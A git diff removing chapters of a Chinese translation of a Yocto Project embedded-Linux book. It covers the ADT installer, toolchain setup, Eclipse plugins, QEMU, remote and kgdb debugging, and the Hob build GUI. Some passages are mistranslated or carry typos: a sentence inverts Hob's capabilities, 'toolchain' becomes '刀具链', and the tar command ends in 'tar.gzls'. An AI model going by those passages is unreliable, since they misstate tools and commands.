OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -# Your yocto distro repository, this should include IPKG based packages and root filesystem files where the installation is based on - -YOCTOADT_REPO="http://adtrepo.yoctoproject.org//1.7" -YOCTOADT_TARGETS="arm x86" -YOCTOADT_QEMU="Y" -YOCTOADT_NFS_UTIL="Y" - -#YOCTOADT_BITBAKE="Y" -#YOCTOADT_METADATA="Y" - -YOCTOADT_ROOTFS_arm="minimal sato-sdk" -YOCTOADT_TARGET_SYSROOT_IMAGE_arm="sato-sdk" -YOCTOADT_TARGET_MACHINE_arm="qemuarm" -YOCTOADT_TARGET_SYSROOT_LOC_arm="$HOME/test-yocto/$YOCTOADT_TARGET_MACHINE_arm" - -#Here's a template for setting up target arch of x86 -YOCTOADT_ROOTFS_x86="sato-sdk" -YOCTOADT_TARGET_SYSROOT_IMAGE_x86="sato-sdk" -YOCTOADT_TARGET_MACHINE_x86="qemux86" -YOCTOADT_TARGET_SYSROOT_LOC_x86="$HOME/test-yocto/$YOCTOADT_TARGET_MACHINE_x86" - -#Here's some template of other arches, which you need to change the value in "" -YOCTOADT_ROOTFS_x86_64="sato-sdk" -YOCTOADT_TARGET_SYSROOT_IMAGE_x86_64="sato-sdk" -YOCTOADT_TARGET_MACHINE_x86_64="qemux86-64" -YOCTOADT_TARGET_SYSROOT_LOC_x86_64="$HOME/test-yocto/$YOCTOADT_TARGET_MACHINE_x86_64" - -YOCTOADT_ROOTFS_ppc="sato-sdk" -YOCTOADT_TARGET_SYSROOT_IMAGE_ppc="sato-sdk" -YOCTOADT_TARGET_MACHINE_ppc="qemuppc" -YOCTOADT_TARGET_SYSROOT_LOC_ppc="$HOME/test-yocto/$YOCTOADT_TARGET_MACHINE_ppc" - -YOCTOADT_ROOTFS_mips="sato-sdk" -YOCTOADT_TARGET_SYSROOT_IMAGE_mips="sato-sdk" -YOCTOADT_TARGET_MACHINE_mips="qemumips" -YOCTOADT_TARGET_SYSROOT_LOC_mips="$HOME/test-yocto/$YOCTOADT_TARGET_MACHINE_mips" - -``` - -安装开始后,系统会询问用户交叉工具链的位置。 如果没有提供替代方案,则选择默认路径,并将交叉工具链安装在`/opt/poky/`目录中。 安装过程可以以静默或交互的方式可视化。 通过使用`I`选项,安装在交互模式下完成,而静默模式则使用`S`选项启用。 - -在安装过程结束时,将在其定义的位置找到交叉工具链。 环境设置脚本将可供以后使用,`adt-installer`目录和`sysroot`目录中的图像 tarball 定义在`YOCTOADT_TARGET_SYSROOT_LOC_`变量的位置。 - -如前所述,有多种方法可以准备 ADT 环境。 第二种方法只涉及安装工具链安装程序-尽管它提供了预先构建的交叉工具链、支持文件和脚本(例如`runqemu`脚本)来启动类似于仿真器中的内核或 Linux 映像的东西-但它不提供与第一种方法相同的可能性。 此外,此选项对于`sysroot`目录也有其限制。 尽管已经生成了`sysroot`目录,但可能仍然需要将其解压并安装在单独的位置。 发生这种情况的原因有很多,比如需要通过 NFS 引导根文件系统,或者需要使用根文件系统作为目标来开发应用`sysroot`。 - -根文件系统可以使用`runqemu-extract-sdk`脚本从已经生成的跨工具链中提取,只有在使用 source 命令设置了交叉开发环境脚本之后才能调用该脚本。 - -有两种方法可以获得为第二个选项安装的工具链。 第一种方法涉及使用[http://downloads.yoctoproject.org/releases/yocto/yocto-1.7/toolchain/](http://downloads.yoctoproject.org/releases/yocto/yocto-1.7/toolchain/)提供的工具链安装程序。 打开与您的开发主机匹配的文件夹。 在此文件夹中,有多个安装脚本可用。 每一个都与一个目标体系结构相匹配,因此应该为您拥有的目标选择正确的一个。 可以从[http://downloads.yoctoproject.org/releases/yocto/yocto-1.7/toolchain/x86_64/poky-glibc-x86_64-core-image-sato-armv7a-vfp-neon-toolchain-1.7.sh](http://downloads.yoctoproject.org/releases/yocto/yocto-1.7/toolchain/x86_64/poky-glibc-x86_64-core-image-sato-armv7a-vfp-neon-toolchain-1.7.sh)中看到一个这样的示例,它实际上是`armv7a`目标和`x86_64`主机的安装程序脚本。 - -如果您的目标机器不是 Yocto 社区提供的机器之一,或者如果您更喜欢此方法的替代方法,那么构建工具链安装程序脚本是适合您的方法。 在本例中,您将需要一个构建目录,并且您将看到两个备选方案,它们都是一样好的: - -* 第一个涉及使用`bitbake meta-toolchain`命令,最终结果是需要在单独位置安装和设置跨工具链的安装程序脚本。 -* 第二种选择涉及使用`bitbake –c populate_sdk `任务,该任务为目标提供工具链安装程序脚本和匹配的`sysroot`。 这里的优点是二进制文件只与一个且相同的`libc`链接,使得工具链是自包含的。 当然,每个体系结构只能创建一个特定的构建是有限制的。 但是,特定于目标的选项通过`gcc`选项传递。 使用变量(如`CC`或`LD`)可以使流程更易于维护,还可以在 build 目录中节省一些空间。 - -下载安装程序后,确保安装脚本已正确设置执行,并使用`./poky-glibc-x86_64-core-image-sato-armv7a-vfp-neon-toolchain-1.7.sh`命令开始安装。 - -您需要的一些信息包括应该安装的位置,默认位置是`/opt/poky/1.7`目录。 要避免这种情况,可以使用`–d `参数调用脚本,并且可以在前面提到的``位置进行安装。 - -### 备注 - -确保在`local.conf`文件中相应地设置了`MACHINE`变量。 此外,如果构建是针对不同的主机完成的,则还应设置`SDKMACHINE`。 在同一个构建目录中可以生成多个`MACHINE`交叉工具链,但是需要正确配置这些变量。 - -安装过程完成后,跨工具链将在所选位置可用,并且环境脚本也将在需要时可用于采购。 - -第三个选项涉及使用 build 目录和执行`bitbake meta-ide-support`命令。 在 build 目录内,需要使用两个可用的构建环境设置脚本之一设置适当的环境,这两个脚本包括`oe-init-build-env`脚本或`oe-init-build-env-memres`。 还需要为目标体系结构相应地设置来自`local.conf`文件的本地配置。 在开发人员完成这些步骤之后,可以使用`bitbake meta-ide-support`命令开始生成跨工具链。 在该过程结束时,环境设置脚本将在`/tmp`目录中可用,但在本例中,工具链紧密链接到构建它的 build 目录。 - -设置好环境后,就可以开始编写应用了,但是开发人员在完成活动之前仍然需要完成一些步骤,比如在真正的根文件系统上测试应用、调试和许多其他操作。 对于内核模块和驱动程序实现,需要内核源代码,因此该活动才刚刚开始。 - -# Eclipse IDE - -Yocto 项目中可用于 Eclipse 的插件包括 ADT 项目和工具链的功能。 它们允许开发人员使用交叉编译器、调试器以及由 Yocto Project、POKY 和其他元层生成的所有可用工具。 这些组件不仅可以在 Eclipse IDE 中使用,而且还为应用开发提供了熟悉的环境。 - -Eclipse IDE 是对与编辑器(如`vim`)交互不感兴趣的开发人员的替代方案,尽管在我看来,`vim`可以用于所有类型的项目。 即使它们的尺寸或复杂性不是问题,使用`vim`的开销可能并不适合所有人的口味。 Eclipse IDE 是所有开发人员可用的最佳选择。 它有很多有用的特性和功能,可以让你的生活变得更轻松,而且很容易掌握。 - -Yocto 项目支持两个版本的 Eclipse,开普勒和 Juno。 开普勒版本是最新的 POKY 版本推荐的版本。 我还推荐 Eclipse 的开普勒 4.3.2 版本,这是从 Eclipse 官方下载站点[http://www.eclipse.org/downloads](http://www.eclipse.org/downloads)下载的版本。 - -应该从该站点下载包含**Java 开发工具**(**JDT**)、Eclipse 平台和用于主机的开发环境插件的 Eclipse Standard 4.3.2 版本。 下载完成后,应使用 tar 命令解压收到的归档内容: - -```sh -tar xzf eclipse-standard-kepler-SR2-linux-gtk-x86_64.tar.gzls - -``` - -下一步由配置表示。 提取内容后,需要在安装特定于 Yocto 项目的插件之前配置 Eclipse IDE。 配置从初始化 Eclipse IDE 开始: - -Eclipse IDE 在执行`./eclipse`可执行文件并设置`Workspace`位置后启动。 启动窗口的外观如下所示: - -![Eclipse IDE](img/image00326.jpeg) - -日食窗口 - -要初始化 Eclipse IDE,请执行以下步骤: - -1. 选择**Workbench**,您将被移到将在其中编写项目源代码的空工作台。 -2. Now, navigate through the **Help** menu and select **Install New Software**. - - ![Eclipse IDE](img/image00327.jpeg) - - 帮助 - -3. A new window will open, and in the **Work with:** drop-down menu, select **Kepler - http://download.eclipse.org/releases/kepler**, as shown in the following screenshot: - - ![Eclipse IDE](img/image00328.jpeg) - - 安装窗口 - -4. Expand the **Linux Tools** section and select **LTTng – Linux Tracing Toolkit** box, as shown in the following screenshot: - - ![Eclipse IDE](img/image00329.jpeg) - - Install-LTTng-Linux 跟踪工具箱 - -5. Expand the **Moble and Device Development** section and select the following: - * **C/C++远程启动(需要 RSE 远程系统资源管理器)** - * **远程系统资源管理器最终用户运行时** - * **远程系统资源管理器用户操作** - * **目标管理终端** - * **TCF 远程系统资源管理器加载项** - * **TCF 目标资源管理器** - - ![Eclipse IDE](img/image00330.jpeg) - -6. Expand the **Programming Languages** section and select the following: - * **C/C++自动工具支持** - * **C/C++开发工具** - - 下面的屏幕截图显示了这一点: - - ![Eclipse IDE](img/image00331.jpeg) - - 可用软件列表窗口 - -7. Finish the installation after taking a quick look at the **Install Details** menu and enabling the license agreement: - - ![Eclipse IDE](img/image00332.jpeg) - - 安装详细信息窗口 - -完成这些步骤后,可以将 Yocto Project Eclipse 插件安装到 IDE 中,但必须重新启动 Eclipse IDE 以确保前面的更改生效。 在这里可以看到配置阶段后的结果: - -![Eclipse IDE](img/image00333.jpeg) - -Eclipse-配置阶段结果 - -要安装 Yocto 项目的 Eclipse 插件,需要执行以下步骤: - -1. 如前所述,启动 Eclipse IDE。 -2. 如前面的配置所示,从**帮助**菜单中选择**安装新软件**选项。 -3. Click on the **Add** button and insert `downloads.yoctoproject.org/releases/eclipse-plugin/1.7/kepler/` in the URL section. Give a proper name to the new **Work with:** site as indicated here: - - ![Eclipse IDE](img/image00334.jpeg) - - 编辑站点窗口 - -4. After the **OK** button is pressed, and the **Work with** site is updated, new boxes appear. Select all of them, as shown in this image, and click on the **Next** button: - - ![Eclipse IDE](img/image00335.jpeg) - - 安装详细信息窗口 - -5. One final pick at the installed components and the installation is approaching its end. - - ![Eclipse IDE](img/image00336.jpeg) - - 安装详细信息窗口 - -6. If this warning message appears, press **OK** and move further. It only lets you know that the installed packages have unsigned content. - - ![Eclipse IDE](img/image00337.jpeg) - - 安全警告窗口 - -只有在重新启动 Eclipse IDE 以使更改生效之后,安装才会完成。 - -安装完成后,Yocto 插件就可用了,可以进行配置了。 配置过程涉及特定于目标的选项和交叉编译器的设置。 对于每个特定目标,需要相应地执行前面的配置步骤。 - -配置过程通过从**窗口**菜单中选择**首选项**选项来完成。 将打开一个新窗口,并从那里选择**Yocto Project ADT**选项。 下面的屏幕截图显示了更多详细信息: - -![Eclipse IDE](img/image00338.jpeg) - -Eclipse IDE-首选项 - -下一步要做的是配置交叉编译器的可用选项。 第一个选项指的是刀具链类型,有两个选项可用,**独立预建工具链**和**构建系统派生工具链**,这是缺省选择的选项。 前者指的是特定于已有内核和根文件系统的体系结构的工具链,因此开发的应用将手动在映像中可用。 但是,这一步不是必需的,因为所有组件都是分开的。 后一个选项指的是构建在 Yocto Project 构建目录中的工具链。 - -接下来需要配置的元素是工具链位置、`sysroot`位置和目标架构。 **工具链根位置**用于定义工具链安装位置。 例如,对于使用`adt_installer`脚本完成的安装,工具链将位于`/opt/poky/`目录中。 第二个参数**Sysroot location**表示目标设备根文件系统的位置。 它可以在`/opt/poky/`目录中找到(如前面的示例所示),如果使用其他方法生成它,甚至可以在 build 目录中找到它。 本部分的第三个也是最后一个选项由**目标体系结构**表示,它指示使用或模拟的硬件类型。 在窗口中可以看到,它是一个下拉菜单,其中选择了所需的选项,用户将找到列出的所有支持的体系结构。 在下拉菜单中没有必要的体系结构的情况下,需要构建体系结构的相应映像。 - -最后剩余的部分由目标特定选项表示。 这指的是使用 QEMU 模拟体系结构或在外部可用硬件上运行映像的可能性。 对于外部硬件,使用要完成的工作需要选择的**External HW**选项,但是对于 QEMU 仿真,除了选择**QEMU**选项之外,还有其他事情要做。 在这种情况下,用户还需要指出**内核**和**自定义选项**。 对于内核选择,过程很简单。 如果选择了**独立预构建工具链**选项,则在预构建映像位置可用;如果选择了**构建系统派生工具链**选项,则在`tmp/deplimg/`目录中可用。 对于第二个选项(**自定义选项**参数),添加它的过程不会像前面的选项那么简单。 - -**Custom Option**字段需要填充各种选项,例如`kvm`、NOGRAPH、`publicvnc`或`serial`,这些选项指示仿真体系结构或其参数的主要选项。 这些参数保存在尖括号内,包括参数,如使用的内存(`-m 256`)、网络支持(`-net`)和全屏支持(`-full-screen`)。 使用`man qemu`命令可以找到有关可用选项和参数的更多信息。 定义项目后,可以使用**项目**菜单中的**更改 Yocto 项目设置**选项覆盖前面的所有配置。 - -要定义项目,需要执行以下步骤: - -1. Select the **Project…** option from the **File** | **New** menu option, as shown here: - - ![Eclipse IDE](img/image00339.jpeg) - - Eclipse IDE-项目 - -2. Select **C project** from the **C/C++** option. This will open a **C Project** window: - - ![Eclipse IDE](img/image00340.jpeg) - - Eclipse IDE-新建项目窗口 - -3. In the **C Project** window, there are multiple options available. Let's select **Yocto Project ADT Autotools Project**, and from there, the **Hello World ANSI C Autotools Project** option. Add a name for the new project, and we are ready to move to the next steps: - - ![Eclipse IDE](img/image00341.jpeg) - - C 项目窗口 - -4. In the **C Project** window we you be prompted to add information regarding the **Author**, **Copyright notice**, **Hello world greetings**, **Source**, and **License** fields accordingly: - - ![Eclipse IDE](img/image00342.jpeg) - - C 项目-基本设置窗口 - -5. 添加所有信息后,可以单击**Finish**按钮。 用户将在新的**C/C++**透视图中得到提示,该透视图特定于打开的项目,新创建的项目出现在菜单的左侧。 -6. 创建项目并编写源代码后,要构建项目,请从**项目…中选择**Build Project**选项。** 菜单。 - -## QEMU 仿真器 - -QEMU 在 Yocto 项目中用作各种目标架构的虚拟化机器和仿真器。 除了实现其他目的外,运行和测试各种 Yocto 生成的应用和映像也非常有用。 它在 Yocto 世界之外的主要用途也是 Yocto 项目的卖点,使其成为用于模拟硬件的默认工具。 - -### 备注 - -有关动车组使用案例的更多信息,请访问[http://www.yoctoproject.org/docs/1.7/adt-manual/adt-manual.html#the-qemu-emulator](http://www.yoctoproject.org/docs/1.7/adt-manual/adt-manual.html#the-qemu-emulator)。 - -如前所述,与 QEMU 仿真的交互是在 Eclipse 中完成的。 要实现这一点,需要按照上一节中的说明进行正确的配置。 在这里启动 QEMU 仿真是使用**Run**菜单中的**External Tools**选项完成的。 将为仿真器打开一个新窗口,在将相应的登录信息传递给提示符后,shell 将可用于用户交互。 还可以在仿真器上部署和调试应用。 - -### 备注 - -有关 QEMU 交互的更多信息,请访问[http://www.yoctoproject.org/docs/1.7/dev-manual/dev-manual.html#dev-manual-qemu](http://www.yoctoproject.org/docs/1.7/dev-manual/dev-manual.html#dev-manual-qemu)。 - -## 调试 - -调试应用也可以使用 QEMU 仿真器或实际目标硬件(如果存在)来完成。 在配置项目时,会生成一个运行/调试 Eclipse 配置作为**C/C+Remote Application**实例,并且可以根据它的名称找到它,这符合`_gdb_-`语法。 例如,`TestProject_gdb_armv5te-poky-linux-gnueabi`就是一个例子。 - -要连接到 Eclipse gdb 界面并启动远程目标调试进程,用户需要执行以下几个步骤: - -1. 从**Run**|**Debug Configuration**菜单中选择**C/C++Remote Application**,并从左侧面板中提供的**C/C++Remote Application**中选择 Run/Debug Configuration(运行/调试配置)。 -2. 从下拉列表中选择合适的连接。 -3. 选择要部署的二进制应用。 如果您的项目中有多个可执行文件,通过按下**搜索项目**按钮,Eclipse 将解析该项目并提供一个包含所有可用二进制文件的列表。 -4. 通过相应地设置**Remote Absolute File Path for C/C++Application:**字段,输入将部署应用的绝对路径。 -5. 在**调试器**选项卡中可以选择调试器选项。 要调试共享库,需要执行几个额外步骤: - * 从**Source**选项卡中选择**Add**|**Path Mapping**选项,以确保路径映射可用于调试配置。 - * 从**Debug/Shared Library**选项卡中选择**自动加载共享库符号**,并相应地指示共享库的路径。 此路径高度依赖于处理器的体系结构,因此要非常小心地指定哪个库文件。 通常,对于 32 位体系结构,选择`lib`目录,而对于 64 位体系结构,选择`lib64`目录。 - * 在**Arguments**选项卡上,可以在执行期间将各种参数传递给应用二进制文件。 -6. 完成所有调试配置后,单击**Apply**和**Debug**按钮。 将启动一个新的 GDB 会话,并打开**调试透视图**。 在初始化调试器时,Eclipse 将打开三个控制台: - * 以前面描述的 gdb 二进制文件命名的 gdb 控制台,用于命令行交互。 - * 用于运行应用的远程外壳程序显示结果 - * 以二进制路径命名的本地计算机控制台,大多数情况下不使用该路径。 它仍然是一件艺术品。 -7. 设置调试配置后,可以使用工具栏中可用的**Debug**图标重新构建并再次执行应用。 实际上,如果您只想运行和部署应用,可以使用**Run**图标。 - -## 评测和跟踪 - -在**Yocto Tools**菜单中,您可以看到用于跟踪和分析已开发应用的受支持工具。 这些工具用于增强应用的各种属性,以及一般的开发过程和体验。 将展示的工具包括 LTTng、Perf、LatencyTop、PerfTop、SystemTap 和 KGDB。 - -我们要看的第一个插件是 LTTng Eclipse 插件,它提供了跟踪目标会话和分析结果的可能性。 要开始使用该工具,首先需要进行快速配置,如下所示: - -1. 从**窗口**菜单中选择**打开透视图**,启动跟踪透视图。 -2. 通过从**文件**|**新建**菜单中选择**项目**来创建新的跟踪项目。 -3. 从**窗口**|**显示视图**|**Other…中选择**控件视图[T1。** |**有限公司**菜单。 这将使您能够访问所有这些所需的操作:** - * 创建新连接 - * 创建会话 - * 开始/停止跟踪 - * 启用事件 - -接下来,我们将介绍名为**Perf**的用户空间性能分析工具。 它为应用代码提供了统计分析,并为多线程和内核提供了一个简单的 CPU。 为此,它使用了许多性能计数器、动态探测器或跟踪点。 要使用 Eclipse 插件,需要到目标的远程连接。 这可以通过性能向导或使用**文件**|**新建**|**其他**菜单中的**远程系统资源管理器**|**连接**选项来完成。 远程连接建立后,与该工具的交互与该工具可用的命令行支持的情况相同。 - -**LatencyTop**是一个应用,用于识别内核中可用的延迟及其根本原因。 由于 ARM 内核的限制,此工具不适用于启用了**对称多处理**(**SMP**)支持的 ARM 内核。 此应用还需要远程连接。 设置远程连接后,交互与该工具可用的命令行支持的情况相同。 此应用使用`sudo`从 Eclipse 插件运行。 - -**PowerTop**用于测量电能消耗。 它分析在 Linux 系统上运行的应用、内核选项和设备驱动程序,并估计它们的功耗。 识别耗电量最大的组件非常有用。 此应用需要远程连接。 建立远程连接后,与应用的交互与该工具的命令行可用支持相同。 该应用从 Eclipse 插件运行,使用-d 选项在 Eclipse 窗口中显示输出。 - -**SystemTap**是一个允许使用脚本从运行的 Linux 获取结果的工具。 SystemTap 提供自由软件(GPL)基础设施,通过跟踪所有内核调用来简化收集有关运行中的 Linux 系统的信息。 它与 Solaris 中的 DTrace 非常相似,但与 DTrace 不同的是,它仍然不适合生产系统。 它使用类似于`awk`的语言,其脚本扩展名为`.stp`。 可以对监测到的数据进行提取,并对其进行各种过滤和复杂的处理。 Eclipse 插件使用`crosstap`脚本将`.stp`脚本转换为 C 语言来创建`Makefile`,运行 C 编译器来为插入到目标内核中的目标体系结构创建内核模块,然后从内核收集跟踪数据。 要在 Eclipse 中启动 SystemTap 插件,有许多步骤需要遵循: - -1. 从**Yocto Project Tools**菜单中选择**SYSTEM TAP**选项。 -2. 在打开的窗口中,需要传递 Cross stap 参数: - * 将**元数据位置**变量设置为对应的`poky`目录 - * 通过输入 root(默认选项)设置**远程用户 ID**,因为它对目标具有`ssh`访问权限-拥有相同权限的任何其他用户也是不错的选择 - * 在中将**远程主机**变量设置为目标的相应 IP 地址 - * 使用**SYSTEMTAP Scripts**变量作为`.stp`脚本的完整路径 - * 使用**SystemTap Args**字段设置其他交叉选项 - -`.stp`脚本的输出应该在 Eclipse 的控制台视图中可用。 - -我们将介绍的最后一个工具是**kgdb**。 该工具专门用于调试 Linux 内核,只有在 Eclipse IDE 中完成 Linux 内核源代码的开发时才有用。 要使用此工具,需要进行许多必要的配置设置: - -* 禁用 C/C++索引: - * 从**窗口**|**首选项**菜单中选择**C/C++索引器**选项 - * 取消选中**启用索引器**复选框 -* 创建一个可以导入内核源代码的工程: - * 从**文件**|**新建**菜单中选择**C/C++**|**C 项目**选项 - * 选择**Makefile 项目**|**空项目**选项,并为项目指定适当的名称 - * 取消选择**使用默认位置**选项 - * 单击**Browse**按钮并确定内核源代码本地 GIT 存储库位置 - * 按**Finish**按钮,即可创建项目 - -在满足前提条件后,可以开始实际配置: - -* 从**Run**菜单中选择**Debug Configuration**选项。 -* 双击**GDB Hardware Debug**选项以创建名为**<项目名称>Default**的默认配置。 -* 从**Main**选项卡中,浏览到`vmlinux`构建映像的位置,选择**Disable auto build**单选按钮,以及**GDB(DFS)Hardware Debug Launcher**选项。 -* 对于**调试器**选项卡中提供的**C/C++应用**选项,浏览到工具链中可用的 GDB 二进制文件的位置(如果 ADT 安装程序脚本可用,则其默认位置应为`/opt/poky/1.7/sysroots/x86_64-pokysdk-linux/usr/bin/arm-poky-linux-gnueabi/arm-poky-linux-gnueabi-gdb`)。 从**JTAG 设备**菜单中选择**通用串行选项**。 **使用远程目标**选项是必需。 -* 从**启动**选项卡中,选择**加载符号**选项。 确保**使用项目二进制文件**选项指示正确的`vmlinux`图像,并且未选择**加载图像**选项。 -* 按**应用**按钮以确保启用了先前的配置。 -* 为串口通信调试准备目标: - * 设置`echo ttyS0,115200`|`/sys/module/kgdboc/parameters/kgdboc`选项以确保使用适当的设备进行调试 - * 在`echo g`|`/proc/sysrq-trigger`目标上启动 KGDB - * 关闭带有目标的终端,但保持串行连接 -* 从**Run**菜单中选择**Debug Configuration**选项 -* 选择之前创建的配置,然后单击**Debug**按钮 - -按下**Debug**按钮后,调试会话应启动,目标将在`kgdb_breakpoint()`功能中暂停。 在那里,所有特定于 gdb 的命令都可用,并且随时可以使用。 - -## Yocto Project Bitbake 指挥官 - -bitbake 命令器提供了编辑食谱和创建元数据项目的可能性,其方式与命令行中提供的方式类似。 两者的不同之处在于使用 Eclipse IDE 进行元数据交互。 - -要确保用户能够执行这些操作,需要执行多个步骤: - -* 从**文件**|**新建**菜单中选择**项目**选项 -* 从打开的窗口中选择**Yocto Project BitBake Commandal**向导 -* 选择**新建 Yocto 项目**选项,将打开一个新窗口,用于定义新项目的属性 -* 使用**项目位置**标识`poky`目录的父级 -* 使用**项目名称**选项定义项目名称。 其默认值为 POKY -* 对于**Remote Service Provider**变量,选择**Local**选项,并对**Connection Name**下拉列表使用相同的选项 -* 确保未选中已安装的`poky`源目录的**克隆**复选框 - -通过使用 Eclipse IDE,可以使用它的特性。 最有用的功能之一是快速搜索选项,这可能会证明对一些开发人员非常有用。 其他好处包括使用模板创建食谱、使用语法突出显示编辑食谱、自动完成、即时错误报告等等。 - -### 备注 - -BITBAKE COMMANDER 的使用仅限于本地连接。 由于上游可用错误,远程连接会导致 IDE 冻结。 - -# 摘要 - -在本章中,我们向您介绍了有关 Yocto 项目提供的 ADE 功能的信息,以及众多可用于应用开发的 Eclipse 插件,这些插件不仅可以作为替代方案,而且还可以作为连接到 IDE 的开发人员的解决方案。 虽然本章从介绍面向命令行爱好者的应用开发选项开始,但很快就变得更多地是关于 IDE 交互,而不是其他任何内容。 这是因为需要有替代解决方案,以便开发人员可以选择最适合他们需求的解决方案。 - -在下一章中,我们将介绍一些 Yocto Project 组件。 这一次,它们与应用开发无关,而是涉及元数据交互、质量保证和持续集成服务。 我将尝试展示 Yocto 项目的另一个面孔,我相信这将帮助读者更好地了解 Yocto 项目,并最终与最适合他们和他们的需求的组件进行互动和贡献。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/08.md b/docs/learn-emb-linux-yocto-proj/08.md deleted file mode 100644 index 60a1793b..00000000 --- a/docs/learn-emb-linux-yocto-proj/08.md +++ /dev/null @@ -1,440 +0,0 @@ -# 八、Hob、Toaster 和 AutoBuilder - -在本章中,您将了解 Yocto 社区中使用的新工具和组件。 正如标题所示,本章专门介绍另一类工具。 我将从**Hob**开始,它是一个正在慢慢消亡的图形界面,随着时间的推移,它将被一个名为**Toaster**的新 Web 界面所取代。 本章还将介绍一个新的讨论点。 在这里,我指的是 QA 和测试组件,在大多数情况下,这些组件在大多数项目中都没有或缺少。 Yocto 非常认真地对待这个问题,并提供了解决方案。 本章的最后一节将介绍此解决方案。 - -还将为您提供更详细的组件演示,如 Hob、Toaster 和 AutoBuilder。 这些组件中的每一个都将单独进行评估,并详细介绍它们的优点和用例。 对于前两个组件(即 Hob 和 Toaster),有关构建过程的信息将与各种安装场景一起提供。 HOB 类似于 BitBake,并与 POKY 和 Build Directory 紧密集成。 另一方面,Toaster 是一种更宽松的选择,它提供了多种配置选择和设置,以及一个性能部分,对于任何对改进构建系统的整体性能感兴趣的开发人员来说,性能部分都非常有用。 本章以有关 AutoBuilder 的部分结束。 这个项目是 Yocto 项目的基石,该项目致力于使嵌入式开发和开放源码总体上更加用户友好,但也提供了更安全和无错误的项目。 我希望您喜欢这一章;让我们继续第一节。 - -# Hob - -Hob 项目代表了 BitBake 构建系统的 GUI 替代方案。 它的目的是以更容易、更快的方式执行个最常见的任务,但不会使命令行交互消失。 这是因为配方和配置的大部分仍需要手动完成。 在上一章中,BitBake 指挥官扩展作为菜谱编辑的替代解决方案被介绍,但在本项目中,它有其局限性。 - -HOB 的主要目的是允许用户更容易地与构建系统进行交互。 当然,有些用户不喜欢图形用户界面替代方案而不是命令行选项,我有点同意他们的观点,但这完全是另一种讨论。 HOB 也可以是他们的一种选择;它不仅对于那些喜欢在他们面前有一个界面的人来说是一种选择,而且对于那些依赖于他们的命令行交互的人来说也是一种选择。 - -除了最常见的任务之外,HOB 可能无法执行许多任务,例如构建映像、修改其现有配方、通过 QEMU 仿真器运行映像,甚至将其部署到 USB 设备上以在目标设备上执行一些实时引导操作。 拥有所有这些功能不是很多,但却很有趣。 您在 Yocto Project 中使用工具的经验在这里并不重要。 前面提到的任务可以非常容易、直观地完成,这也是 Hob 最有趣的地方。 它以一种非常简单的方式为用户提供他们需要的东西。 与它互动的人可以从它提供的课程中学到东西,无论他们是图形界面爱好者还是精通命令行的人。 - -在本章中,I 将向您展示如何使用 Hob 项目来构建 Linux 操作系统映像。 为了演示这一点,我将使用 Atmel SAMA5D3 XPlaed 机器,这也是我在前面章节中用于其他演示的机器。 - -首先,让我们来看看第一次启动时 HOB 是什么样子的。 结果如下图所示: - -![Hob](img/image00343.jpeg) - -要检索图形界面,用户需要执行 BitBake 命令行交互所需的给定步骤。 首先,它需要创建一个构建目录,并且从该构建目录中,用户需要使用 HOB 命令启动 HOB 图形界面,如下所示: - -```sh -source poky/oe-init-build-env ../build-test -hob - -``` - -下一步是建立构建所需的层。 您可以通过在**Layers**窗口中选择它们来完成此操作。 对`meta-atmel`层要做的第一件事是将其添加到构建中。 尽管您可以在已经存在的构建目录中开始工作,但是 HOB 将无法检索现有配置,并将在`bblayers.conf`和`local.conf`配置文件上创建新的配置。 它将使用下一条`#added by hob`消息标记添加的行。 - -![Hob](img/image00344.jpeg) - -将对应的`meta-atmel`层添加到 Build 目录后,所有支持的机器都会出现在**Select a Machine**下拉列表中,包括由`meta-atmel`层添加的机器。 从可用选项中,需要选择**SAMA5D3-XPlaed**机器: - -![Hob](img/image00345.jpeg) - -选择 Atmel**SAMA5D3-XPlaed**机器时,会出现错误,如以下屏幕截图所示: - -![Hob](img/image00346.jpeg) - -将`meta-qt5`层添加到 Layers 部分后,此错误消失,构建过程可以继续。 要检索`meta-qt5`层,需要使用以下`git`命令: - -```sh -git clone -b dizzy https://github.com/meta-qt5/meta-qt5.git - -``` - -由于所有可用的配置文件和配方都已解析,解析过程需要一段时间,在此之后,您将看到一个错误,如以下屏幕截图所示: - -![Hob](img/image00347.jpeg) - -在再次快速检查之后,您将看到以下代码: - -```sh -find ../ -name "qt4-embedded*" -./meta/recipes-qt/qt4/qt4-embedded_4.8.6.bb -./meta/recipes-qt/qt4/qt4-embedded.inc -./meta-atmel/recipes-qt/qt4/qt4-embedded-4.8.5 -./meta-atmel/recipes-qt/qt4/qt4-embedded_4.8.5.bbappend - -``` - -唯一的解释是`meta-atmel`层不更新它的食谱,而是附加它们。 这可以通过两种方式克服。 最简单的方法是更新`.bbappend`文件中的食谱,并确保将新的可用食谱转换为上游社区的补丁。 在`meta-atmel`层中包含所需更改的补丁程序将很快向您解释,但首先,我将介绍解决构建过程中存在的问题所需的可用选项和必要更改。 - -另一种解决方案是包括`meta-atmel`构建过程所需的配方。 它最好的可用位置也是在`meta-atmel`。 然而,在这种情况下,应该将`.bbappend`配置文件与配方合并,因为将配方及其附加文件放在同一位置没有多大意义。 - -修复此问题后,用户将可以使用新的选项,如以下屏幕截图所示: - -![Hob](img/image00348.jpeg) - -现在,用户有机会选择需要构建的映像,以及需要添加的额外配置。 这些配置包括: - -* 分配类型的选择 -* 图像类型的选择 -* 一种包装格式 -* 围绕根文件系统的其他小调整 - -下面的屏幕截图描述了其中的一些内容: - -![Hob](img/image00349.jpeg) - -我已经选择将分发类型从**poky-iny**更改为**poky**,生成的根文件系统输出格式在以下屏幕截图中可见: - -![Hob](img/image00350.jpeg) - -进行调整后,将重新解析食谱,当此过程完成时,可以选择结果图像,以便开始构建过程。 为本演示选择的图像是**Atmel-XPlaed-demo-image**图像,它对应于同名的食谱。 此信息还显示在以下屏幕截图中: - -![Hob](img/image00351.jpeg) - -通过单击**构建映像**按钮开始构建过程。 构建开始后不久,将出现一个错误,它告诉我们**meta-Atmel**BSP 层需要更多需要我们定义的依赖项: - -![Hob](img/image00352.jpeg) - -此信息从`iperf`配方收集,该配方在包含的层中不可用;它在`meta-openembedded/meta-oe`层中可用。 在更详细的搜索和更新过程之后,有了一些启示。 有比`meta-atmel`BSP 层所需的更多的层依赖关系,如下所示: - -* `meta-openembedded/meta-oe`层 -* `meta-openembedded/meta-networking`层 -* `meta-openembedded/meta-ruby`层 -* 